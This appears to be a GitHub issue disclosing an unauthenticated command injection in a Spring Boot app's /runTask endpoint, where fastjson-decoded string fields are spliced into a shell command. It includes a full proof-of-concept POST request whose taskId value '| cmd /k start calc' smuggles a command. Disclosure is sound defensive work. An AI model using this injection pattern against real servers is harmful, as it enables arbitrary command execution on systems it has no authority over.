Skip to content

Command injection vulnerability #12

@S2eTo

Description

@S2eTo

Unauthorized interface /runTask, use fastjson to decode RunTaskEntity, and directly splice the incoming parameter toString() into the execution command
springboot.HttpImpl#runTask
image

Objects RunTaskEntity are properties of type String, malicious commands can be injected into String properties, resulting in command injection
springboot.model.RunTaskEntity
image

Inject with taskId

POST /runTask HTTP/1.1
Host: 192.168.157.1:6633
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 82


{
	"schedulingName": "33",
	"taskId": "| cmd /k start calc",
	"loadpath": ""
}

image
image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions